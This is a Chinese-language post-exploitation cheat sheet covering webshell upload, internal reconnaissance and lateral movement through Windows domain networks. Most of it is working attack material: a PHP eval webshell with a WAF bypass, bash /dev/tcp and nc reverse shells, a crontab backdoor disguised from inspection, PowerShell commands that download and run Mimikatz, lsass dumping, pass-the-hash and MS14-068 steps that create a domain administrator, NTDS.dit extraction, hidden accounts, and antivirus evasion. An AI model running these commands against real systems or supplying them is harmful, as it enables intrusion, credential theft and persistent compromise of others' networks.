獲取 webshell 進內網
測試主站,搜 wooyun 歷史洞未發現歷史洞,github, svn, 目錄掃描未發現敏感信息, 無域傳送,端口只開了80端口,找到后台地址,想爆破后台,驗證碼后台驗證,一次性,用 ocr 識別,找賬號,通過 google,baidu,bing 等搜索,相關郵箱,域名等加常用密碼組成字典,發現用戶手冊,找賬號,發現未打碼信息,和默認密碼,試下登陸成功,找后台,上傳有 dog,用含有一句話的 txt 文件
`
<?php eval($_POST['cmd']);?>
`
打包為 zip,php 文件
`
<?php include 'phar://1.zip/1.txt';?>
`
即可,c 刀被攔,修改 config.ini 文件
`
php_make @eval(call_user_func_array(base64_decode,array($_POST[action])));
`
用回調函數,第一個為函數名,二個為傳的參數
前期信息收集
query user || qwinsta 查看當前在線用戶
net user 查看本機用戶
net user /domain 查看域用戶
net view & net group "domain computers" /domain 查看當前域計算機列表 第二個查的更多
net view /domain 查看有幾個域
net view \\\\dc 查看 dc 域內共享文件
net group /domain 查看域里面的組
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /這個也是查域管,是升級為域控時,本地賬戶也成為域管
net group "domain controllers" /domain 域控
net time /domain
net config workstation 當前登錄域 - 計算機名 - 用戶名
net use \\\\域控(如pc.xx.com) password /user:xxx.com\username 相當於這個帳號登錄域內主機,可訪問資源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看遠程計算機 tasklist
net localgroup administrators && whoami 查看當前是不是屬於管理組
netstat -ano
nltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 級別和 sid 號
net sessoin 查看遠程連接 session (需要管理權限)
net share 共享目錄
cmdkey /l 查看保存登陸憑證
echo %logonserver% 查看登陸域
spn –l administrator spn 記錄
set 環境變量
dsquery server - 查找目錄中的 AD DC/LDS 實例
dsquery user - 查找目錄中的用戶
dsquery computer 查詢所有計算機名稱 windows 2003
dir /s *.exe 查找指定目錄下及子目錄下沒隱藏文件
arp -a
發現遠程登錄密碼等密碼 netpass.exe 下載地址:
https://www.nirsoft.net/utils/network_password_recovery.html獲取 window vpn 密碼:
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit wifi 密碼:
netsh wlan show profile 查處 wifi 名
netsh wlan show profile WiFi-name key=clear 獲取對應 wifi 的密碼ie 代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet
Settings" /v ProxyServer
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"pac 代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet
Settings" /v AutoConfigURL //引子 t0stmailpowershell-nishang
https://github.com/samratashok/nishang
其他常用命令
ping icmp 連通性
nslookup www.baidu.com vps-ip dns 連通性
dig @vps-ip www.baidu.com
curl vps:8080 http 連通性
tracert
bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一種上傳文件 >= 2008
fuser -nv tcp 80 查看端口 pid
rdesktop -u username ip linux 連接 win 遠程桌面 (有可能不成功)
where file win 查找文件是否存在
找路徑,Linux 下使用命令 find -name *.jsp 來查找,Windows 下,使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
netstat -apn | grep 8888 kill -9 PID 查看端口並 kill
遠程登錄內網主機
判斷是內網,還是外網,內網轉發到 vps
netstat -ano 沒有開啟 3389 端口,復查下
tasklist /svc,查 svchost.exe 對應的 TermService 的 pid,看 netstat 相等的 pid 即 3389 端口.
在主機上添加賬號
net user admin1 admin1 /add & net localgroup administrators admin1 /add
如不允許遠程連接,修改注冊表
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
如果系統未配置過遠程桌面服務,第一次開啟時還需要添加防火牆規則,允許 3389 端口,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
關閉防火牆
netsh firewall set opmode mode=disable
3389user 無法添加:
http://www.91ri.org/5866.html
**隱藏 win 賬戶**
開啟 sys 權限 cmd:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
add user 並隱藏:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
win server 有密碼強度要求,改為更復雜密碼即可:
滲透技巧——Windows 系統的帳戶隱藏
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/
windows 的 RDP 連接記錄:
http://rcoil.me/2018/05/%E5%85%B3%E4%BA%8Ewindows%E7%9A%84RDP%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95/
linux bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
`bash -i
` 交互的 shell
`&
` 標准錯誤輸出到標准輸出
`/dev/tcp/10.0.0.1/8080
` 建立 socket ip port
`0>&1
` 標准輸入到標准輸出
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
猥瑣版
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -
詳細介紹
https://github.com/tom0li/security_circle/blob/master/15288418585142.md
ngrok-backdoor
Grok-backdoor 是一個簡單的基於 python 的后門,它使用 Ngrok 隧道進行通信。Ngrok 后門可以使用 Pyinstaller 生成 windows,linux 和 mac 二進制文件。
雖然免殺,但如果開 win 防火牆會提示,生成后門時會詢問是否捆綁 ngrok,選擇 no 時,在被攻擊機執行時需聯網下載 ngrok,運行后,telnet 連接即可.
https://github.com/deepzec/Grok-backdoor
veil
這里,安裝問題有點多,我用 kali-2018-32 安裝成功,先安裝下列依賴,后按照官方即可。
apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64*
apt-get install wine32
生成shell
./Veil.py
use 1
use c/meterpreter/rev_tcp
在 win 用 mingw 下 gcc 編譯 bypass 360
gcc -o v.exe v.c -lws2_32
使用之前生成的 veil.rc
msfconsole -r veil.rc
一句話開啟 http 服務,虛擬機里開啟,在外訪問虛擬機 ip 即可下載虛擬機文件:
`
python -m SimpleHTTPServer 80
`
ew
tools:
http://rootkiter.com/EarthWorm
新版 tools:
http://rootkiter.com/Termite/
**正向:**
*被攻擊機(跳板):*
temp 目錄下:
unzip ew.zip
file /sbin/init (查看 linux 位數)
chmod 755 ew_for_Linux
./ew_for_Linux -s ssocksd -l 9999 (偵聽 0.0.0.0:9999)
netstat -pantu|grep 9999 (查看是否偵聽成功)
*攻擊機:*
proxychain 設置 socks5 為跳板 ip port
proxychain nmap 即可以用跳板代理掃描其他主機
**反向:**
*攻擊機:*
chmod 777 ./ew_for_linux64
./ew_for_linux -s rcsocks -l 1080 -e 2333 即被攻擊機連接本機 2333 端口,轉發到本機的 1080 端口,訪問本機的 1080 端口,相當訪問被攻擊機的 2333
設置
proxychain socks5 本主機 ip port:1080
proxychain 代理即可
*被攻擊機:*
chmod 777 ew_for_linux
./ew_for_Linux32 -s rssocks -d 192.168.1.100 -e 2333
nc
nc 簡單使用
https://tom0li.github.io/2017/05/06/nc/
linux root 權限
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc ip port 1>/tmp/backpipe
權限不夠用
`
mkfifo /tmp/backpipe
`
以上用 nc 監聽即可
lcx
被攻擊機
lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389
vps
lcx.exe –listen 8888 5555
在本機 mstsc 登陸 139.1.2.3:5555 或在 vps 連接 127.0.0.1:5555
netsh win自帶(只支持 tcp )360 攔
將本地80轉到192.168.1.101:8080端口
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080
通過連接1.1.1.101的8082端口,相當連接1.1.1.101可訪問的內網192.168.2.102的3389端口
netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389
go+msf & py+msf bypass360
msf 編碼生成后,用:
go build -ldflags="-H windowsgui -s -w"
即可,詳細參考以下 link
http://lu4n.com/metasploit-payload-bypass-av-note/
http://hacktech.cn/2017/04/20/msf-AntiVirus.html
提權
win 提權輔助工具,原理主要通過 systeminfo 補丁信息比對漏洞庫, 工具鏈接
https://github.com/GDSSecurity/Windows-Exploit-Suggester/
linux 提權輔助
https://github.com/jondonas/linux-exploit-suggester-2
感謝前輩收集的提權 exp:
windows-kernel-exploits Windows 平台提權漏洞集合
https://github.com/SecWiki/windows-kernel-exploits
linux-kernel-exploits Linux 平台提權漏洞集合
https://github.com/SecWiki/linux-kernel-exploits
msf
linux 相關 payload:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp
windows 相關 payload:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
目標服務器為 64 位用 x64 監聽,反彈 meterpreter 用含有 meterpreter 的模塊,反彈普通的 shell (例如 nc),shell_reverse_tcp 模塊監聽, 例如 msf:
反彈 shell
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
監聽:
windows/meterpreter/reverse_tcp
反彈 shell
nc -e cmd.exe ip port
監聽
windows/shell_reverse_tcp
meterpreter 下上傳
upload file
下載
download file
Msf 進程注入(測試 win10 沒成功,win2008 可以,360 會攔)
meterpreter > getuid
meterpreter > getpid
meterpreter > ps
meterpreter > migrate 676
Msf hash
meterpreter > run hashdump sys
meterpreter > run post/windows/gather/smart_hashdump 需要 sys 權限
getsystem 存在 uac,用 msf bypass,但特征明顯
meterpreter > search bypassuac
msf powerdump load mimikatz 不太好用
Msf 的持續后門
**Persistence: **
`run persistence -h
` 用於創建啟動項啟動,會創建注冊表,創建文件。(X86_Linux 不支持此腳本)
run persistence -U -i 10 -p 10390 -r free.ngrok.cc
會被 360 攔,-i 10 10 秒請求一次, 使用 powershell 執行也被監控而被 360 攔截
meterpreter 的 `run getgui -e
` 命令可以開啟成功。360 會提示阻止
`Run metsvc -h
` :用於創建服務,會創建 meterpreter 服務,並上傳三個文件,使用-r參數可以卸載服務 ,被攔
Msf powershell
meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds
Msf Router
2 個或多個路由之間,沒有配置相應的路由表,不能訪問,獲得一台機器 shell session 添加路由,使 msf 可以在當前 shell session 下以被攻擊機訪問其他內網主機,
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 172.17.0.0/16 添加路由
meterpreter > run autoroute -p 查看路由
meterpreter > run autoroute -d -s 172.17.0.0/16 刪除
MS17-010
meterpreter > background
msf exploit(multi/handler) > use auxiliary/scanner/smb/ smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 172.17.0.0/24
msf auxiliary(scanner/smb/smb_ms17_010) > set threads 50
msf auxiliary(scanner/smb/smb_ms17_010) > run
先利用 `exploit/windows/smb/ms17_010_psexec
`,win10 舊版依舊可以,新版設置 smbuser,smbpass 即可
Msf 掃描
經過上面設置路由即可使用以下 scan:
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/tcp
proxychains 設置 socks4 為以下設置,即可在本地代理掃描
use auxiliary/server/socks4a
Msf 端口轉發 portfwd
將 192.168.1.2.100 內網轉發到本地 4443 port,流量大不好用
portfwd add -L 0.0.0.0 4443 -p 3389 -r 192.168.2.100
Msf 截屏(沒被 360 攔沒提示,或許有意外收獲)
meterpreter > use espia
meterpreter > screengrab
Msf 嗅探
meterpreter > use sniffer
meterpreter > sniffer_interfaces
meterpreter > sniffer_start 5
meterpreter > sniffer_dump 5 /tmp/1.pcap
meterpreter > sniffer_stop 5
鍵盤記錄
Msf 鍵盤記錄在 win 不會創建新進程
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Keylogger (tip: 可以把管理工具,如 navicat, putty, SecureCRT, PLSQL 設置記住密碼) --redrain ixkeylog
linux>=2.63 推薦 --redrain
遠程命令執行
at\schtasks\psexec\wmic\sc\ps
2012 r2 起,默認端口 5985,系統自帶遠程管理 winrs
winrs -r:192.168.1.100 -u:administrator -p:pwd ipconfig
這里 schtasks 用着很舒服,
schtasks /create /tn mytask /tr F:\Desktop.exe /sc minute /mo 1 每分運行1次
如果程序有參數用引號
"C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp"
`/RU
` 可以以 system 啟動,例如
schtasks /Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM
schtasks /create /tn mytask /tr "C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp" /sc minute /mo 2
schtasks /Query /TN mytask
net time
schtasks /Query /TN mytask
schtasks /Delete /TN mytask /F
mimikatz + procdump 獲得內存 hash
如果服務器是 64 位,要把 Mimikatz 進程遷移到一個 64 位的程序進程中,才能查看 64 位系統密碼明文。32 位任意
運行
procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理權限)
后 lsass.dmp 放到 mimikatz.exe 同目錄,運行以下命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
導出當前
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
Windows Server 2012, 部分 Windows Server 2008 默認無法使用 mimikatz 導出明文口令
解決方法:啟用 Wdigest Auth, cmd:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
powershell:
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
重啟或者用戶再次登錄,能夠導出明文口令, 參考下文:
3gstudent 自動Dump-Clear-Text-Password-after-KB2871997-installed
https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
SAM-hash
管理權限:
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
mimikatz:
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
pass the hash
wmiexec 普通權限即可
https://github.com/maaaaz/impacket-examples-window
domain=TEST user=test1
wmiexec -hashes 00000000000000000000000000000000:99b2b135c9e829367d9f07201b1007c3 TEST/test1@192.168.1.1 "whoami"
需要管理權限
mimikatz "privilege::debug" "sekurlsa::pth /user:abc /domain:test.local /ntlm:hash"
meterpreter > run post/windows/gather/hashdump
meterpreter > background
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBuser Administrator
msf exploit(psexec) > set SMBPass xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
安裝了 KB2871997 補丁或者系統版本大於等於 windows server 2012 時,內存不再明文保存密碼,1,改注冊表后,注銷再次登錄,可以使用,schtasks 等執行命令無法用管理員權限。2.用 ptk,ptt。例外,打補丁后 administrato(SID-500) 依舊可以pth
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/
pass the key
需要免殺:
mimikatz "privilege::debug" "sekurlsa::ekeys" 獲取用戶的aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:asdq379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" 注入aes key
dir \\\計算機名
pass the ticket
不需要管理員權限
kekeo "tgt::ask /user:abc /domain:test.local /ntlm:hash"
導入ticket:
kekeo "kerberos::ptt TGT_abc@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"
程序地址:
https://github.com/gentilkiwi/kekeo
ntds.dit
vssadmin 方法 >= win 2008
查詢當前系統的快照
vssadmin list shadows
創建快照
vssadmin create shadow /for=c:
獲得 Shadow Copy Volume Name 為 `
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47
`
復制 ntds.dit, copy 第一個參數為創建快照時位置:
copy \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\NTDS\ntds.dit c:\ntds.dit
復制 system 和 sam
copy \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\system c:\
copy \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\sam c:\
刪除快照
vssadmin delete shadows /for=c: /quiet
獲取將以上 system,sam, ntds.dit 放到 /root/ntds_cracking/ 下,運行
python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/SYSTEM LOCAL
py 地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py
域滲透——獲得域控服務器的 NTDS.dit 文件
http://www.4hou.com/technology/10573.html
dc 定位
nltest dclist:xx.xx
net time /domain
systeminfo 中的 domain
ipconfig /all 中的 DNS Suffix Search List
掃描53端口,找 dns 位置
set log
net group "domain controllers" /domain
PowerView Get-NetDomainController
PowerView 地址:
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
windows log
微軟第三方信息收集工具 LogParser.exe psloglist.exe 等
powerhsell 神器
nishang
https://github.com/samratashok/nishang
spn掃描
https://github.com/nullbind/Powershellery/tree/master/Stable-ish
PowerSploit
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
針對ps的Empire
https://github.com/EmpireProject/Empire
ipc$
D:>net use \\\192.168.1.254\c$ "pwd" /user:user //連接192.168.1.254的IPC$共享,用unc路徑
D:>copy srv.exe \\\192.168.1.254\c$ //復制本地 srv.exe 到C根目錄
D:>net time \\\192.168.1.254 //查時間
D:>at \\\192.168.1.254 10:50 srv.exe //用at命令在10點50分啟動 srv.exe (這里360會攔截)
D:>net use \\\192.168.1.254\c$ /del
ms14-068 Kerberos 漏洞利用:
生成 TGT:用於偽造
whoami /all 獲得:用戶@ 域名、用戶 sid、域主機
python ms14068.py -u admin@xxx.com -p password -s sid -d dc.xxx.com
ms14068.exe -u admin@xxx.com -p password -s sid -d dc.xxx.com
會生成 TGT_admin@xxx.com.ccache
注入 TGT:
klist
klist purge 清除所有憑證,等一會在執行下列命令
寫入內存:
mimikatz.exe "kerberos::ptc c:\TGT_admin@xxx.com.ccache"
若成功
dir \\dc.xxx.com\c$
net user admin xxxxx@password /add /domain
net group "Domain Admins" admin /add /domain
msf 的模塊 `ms14_048_kerberos_checksum
` 也可以檢測
工具:
https://www.t00ls.net/viewthread.php?tid=28207&from=favorites
https://github.com/gentilkiwi/kekeo
GPP 漏洞利用
win2008 增加,一般域用戶都可訪問敏感文件
密碼存在 SYSCOL 目錄下:
Groups.xml, 這個文件是域管通過 GPP 設置或修改本地密碼留下的
Services\Services.xml,
ScheduledTasks\ScheduledTasks.xml,
Printers\Printers.xml,
Drives\Drives.xml,
DataSources\DataSources.xml
net use \\\域控(如pc.xx.com) password /user:xxx.com\username
dir \\\域控\SYSVOL /s /a > sysvol.txt
findstr /i "groups.xml" sysvol.txt
找到 cpassword
解密過程:
set-executionPolicy bypass
powershell -ep bypass 啟動 ps
Import-Module .\GPP.ps1
Get-DecryptedCpassword xxxxxxxxxxxxxx
腳本link:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
利用 SYSVOL 還原組策略中保存的密碼
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/
總結
首先,利用 webshell 執行開篇的命令收集內網前期信息(不局限用 webshell),也可以用 msf 等平台,或 powershell 收集信息,判斷機器所處區域,是 DMZ 區,還是辦公區,核心 DB 等;機器作用是文件服務器,Web,測試服務器,代理服務,還是 DNS,DB 等;網絡連通性,文中也提到測試 dns,tcp,http 等命令,理清內網拓撲圖,網段,掃描內網,路由,交換機,端口等判斷是域還是組,組的話,用常見 web 方法,域的話 gpp,kerberos,黃金白銀票據,抓密碼,這里注意密碼有的有空格,pth,ptk,spn 掃描,ipc,445,web 漏洞,各種未授權,密碼相同等,期間會遇到提權,bypass uac,bypass av.
某些大佬語錄
利用漏洞配置不當獲取更多主機權限
常見應用漏洞:
struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis未授權訪問、Hadoop、weblogic、jboss、WebSphere、Coldfusion
常見語言反序列化漏洞
php、Java、python、ruby、node.js
數據庫漏洞及配置不當
mssql Get-SQLServerAccess、MySQL 低版本 hash 登陸、MySQL 低版本Authentication Bypass、域內 mssql 憑證獲取密碼、monggodb 未授權訪問、memcache 配置不當
內網中很多 web 應用存在常見漏洞、使用有漏洞的中間件和框架、弱口令及配置不當(注入、任意文件讀取、備份、源碼泄漏(rsync、git、svn、DS_Store)、代碼執行、xss、弱口令、上傳漏洞、權限繞過…)
web應用、及數據庫中尋找其他服務器密碼信息(ftp、mail、smb、ldap存儲、sql...)
系統備份文件(ghost)中讀密碼
在已有控制權限主機中,查看各瀏覽器書簽、cookie、存儲密碼、鍵盤記錄收集相關敏感信息、查詢注冊表中保存密碼、讀取各客戶端連接密碼、putty dll 注入、putty 密碼截取、ssh 連接密碼,以獲取更多主機權限
推薦工具:
NetRipper、Puttyrider.exe、ProwserPasswordDump.exe、LaZagne.exe
ms08-067 遠程溢出(極少能碰到)
cmdkey /list 遠程終端可信任連接連接 netpass.exe 讀取該密碼
arp 欺騙中間人攻擊(替換 sql 數據包、認證憑證獲取、密碼獲取極大不到萬不得已不會用)
WPAD 中間人攻擊(全稱網絡代理自動發現協議、截獲憑證該種方法不需要 ARP 欺騙,比較好用的一種方法(使用 Responder.py/net-creds.py))翻閱相關文件及以控制數據庫中可能存儲配置口令(別忘了回收站)
用已有控制權限的郵箱賬號以及前期所了解到的信息進行欺騙(社會工程學)
定向瀏覽器信息 ip 信息定向掛馬(0day)
用以收集的密碼(組合變換密碼)對各服務進行爆破
其他用戶 session,3389 和 ipc 連接記錄 各用戶回收站信息收集
host 文件獲取和 dns 緩存信息收集 等等
殺軟 補丁 進程 網絡代理信息 wpad 信息。軟件列表信息
計划任務 賬號密碼策略與鎖定策略 共享文件夾 web 服務器配置文件
vpn 歷史密碼等 teamview 密碼等 啟動項 iislog 等等
主動手段 就是 snmp 掃交換機路由網絡設備(有 tcp 連接存活表列 一般可以定位到經常訪問的服務 ip)
遍歷 內網的所有段 + tracert 跟蹤路由 一下拓撲基本就清楚了
被動手段就是上內部通訊平台 一般是郵箱
如果是有堡壘隔離和 vlan 隔離的還要拿到相應權限網絡設備做管道穿越才行 通訊都做不了就不要談后續滲透了
橫向滲透 smb 感染 pdf doc + RDP 感染管理機 動靜小一點就插管道連接釣 NTHASH
域控只能看看 普通用戶機上有沒有令牌可以偽造 ms14-068 是否存在
搜集的信息列出來,就不貼了:
服務器當前所在網段的所有主機端口
服務器 ARP 緩存
服務器上的服務
內網中其他 HTTP 服務
滿足容易利用的漏洞端口 (MS17010 / 445)
抓包嗅探還是很有必要的 (千萬不要 ARP %@#@@651#@^#@@#@@###@@!)
共享文件
密碼
在行動之前思考幾分鍾,有沒有更好的辦法
思考一個問題多個解決方案的利弊
盡量快速熟悉網絡環境 -> [前提是你已經熟悉了服務器環境]
對日志要時刻保持敏感
看子網掩碼、計算子網大小,判斷有沒有 VLAN
選取自己熟悉的協議進行信息搜集
網絡命令一定要熟
對於后門要加強維護
你必須保證你花費 98% 的時間都在了解他們
學習使用 Powershell 和熟練掌握端口轉發
滲透測試的本質是信息收集
擴展閱讀
利用 NetBIOS 協議名稱解析及 WPAD 進行內網滲透
http://drops.xmd5.com/static/drops/pentesting-11799.html
記一次內網滲透
http://killbit.me/2017/09/11/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/
端口復用參考代碼
https://xz.aliyun.com/t/1661
l3m0n:從零開始內網滲透學習
https://github.com/l3m0n/pentest_study
內網滲透知識大總結
https://www.anquanke.com/post/id/92646
Jboss引起的內網滲透
https://xz.aliyun.com/t/8#toc-2
JBoss引起的內網滲透-2
https://xz.aliyun.com/t/2166
JBoss引起的內網滲透-3
http://rcoil.me/2018/03/JBoss%E5%BC%95%E8%B5%B7%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-3/
Linux內網滲透
https://thief.one/2017/08/09/2/
Weblogic引發的血案
http://hone.cool/2018/03/29/Weblogic%E5%BC%95%E5%8F%91%E7%9A%84%E8%A1%80%E6%A1%88/
Weblogic引發的血案-2
http://hone.cool/2018/04/03/Weblogic%E5%BC%95%E5%8F%91%E7%9A%84%E8%A1%80%E6%A1%88-2/
Weblogic引發的血案-3
http://hone.cool/2018/04/12/Weblogic%E5%BC%95%E5%8F%91%E7%9A%84%E8%A1%80%E6%A1%88-3/
一次幸運的內網滲透
https://forum.90sec.org/forum.php?mod=viewthread&tid=10111&highlight=%C4%DA%CD%F8
對國外某內網滲透的一次小結
https://forum.90sec.org/forum.php?mod=viewthread&tid=9264&highlight=%C4%DA%CD%F8
針對國內一大廠的后滲透 – 持續
https://wsygoogol.github.io/2018/01/11/%E9%92%88%E5%AF%B9%E5%9B%BD%E5%86%85%E4%B8%80%E5%A4%A7%E5%8E%82%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F-%E2%80%93-%E6%8C%81%E7%BB%AD/
一次內網滲透--域滲透
https://forum.90sec.org/forum.php?mod=viewthread&tid=6516&highlight=%C4%DA%CD%F8
代理轉發工具匯總分析
滲透測試技巧之內網穿透方式與思路總結
https://xz.aliyun.com/t/1623
ew
通過雙重跳板漫游隔離內網
https://paper.tuisec.win/detail/60e44a10243185a
一款突破內網防火牆神器ngrok
https://paper.tuisec.win/detail/75e46a067d7b6f8
內網漫游之SOCKS代理大結局
https://paper.tuisec.win/detail/fc04d85ab57c8bf
內網劍客三結義
http://www.5ecurity.cn/index.php/archives/227/
針對 win 的入侵日志簡單處理
https://klionsec.github.io/2017/05/19/wevtutil/
Metasploit域滲透測試全程實錄(終結篇)
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16655&highlight=Metasploit%E5%9F%9F%E6%B8%97
metasploit在后滲透中的作用
https://www.secpulse.com/archives/69766.html
Metasploit馳騁內網直取域管首級
https://www.anquanke.com/post/id/85518
Metasploit 「永恆之藍」兩種模塊的利弊
https://www.bodkin.ren/index.php/archives/555/
一篇文章精通PowerShell Empire 2.3(上)
http://bobao.360.cn/learning/detail/4760.html
一篇文章精通PowerShell Empire 2.3(下)
http://bobao.360.cn/learning/detail/4761.html
Powershell攻擊指南黑客后滲透之道系列——基礎篇
https://www.anquanke.com/post/id/87976
Powershell攻擊指南黑客后滲透之道系列——進階利用
https://www.anquanke.com/post/id/88851
Powershell攻擊指南黑客后滲透之道系列——實戰篇
https://www.anquanke.com/post/id/89362
Windows環境下的信息收集
Windows滲透常用命令
http://www.myh0st.cn/index.php/archives/261/
滲透的本質是信息搜集(第一季)
http://blog.csdn.net/micropoor/article/details/79400904
后滲透攻防的信息收集
https://www.secpulse.com/archives/51527.html
域滲透基礎簡單信息收集 基礎篇
https://xianzhi.aliyun.com/forum/topic/237/
Linux 機器的滲透測試命令備忘表
http://www.91ri.org/17575.html
黑客游走於企業windows內網的幾種姿勢
https://paper.tuisec.win/detail/4973d8fa7741cb3
內網滲透測試定位技術總結
http://www.mottoin.com/92978.html
內網滲透——網絡環境的判斷
https://paper.tuisec.win/detail/bc7c4b2c3145d47
滲透經驗 | Windows下載遠程Payload並執行代碼的各種技巧
http://www.freebuf.com/articles/system/155147.html
滲透技巧——Windows系統遠程桌面的多用戶登錄
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/
滲透技巧之隱藏自己的工具
https://github.com/tom0li/security_circle/blob/master/51122255581554.md
白名單下載惡意代碼的一個技巧
https://github.com/tom0li/security_circle/blob/master/28511224554581.md
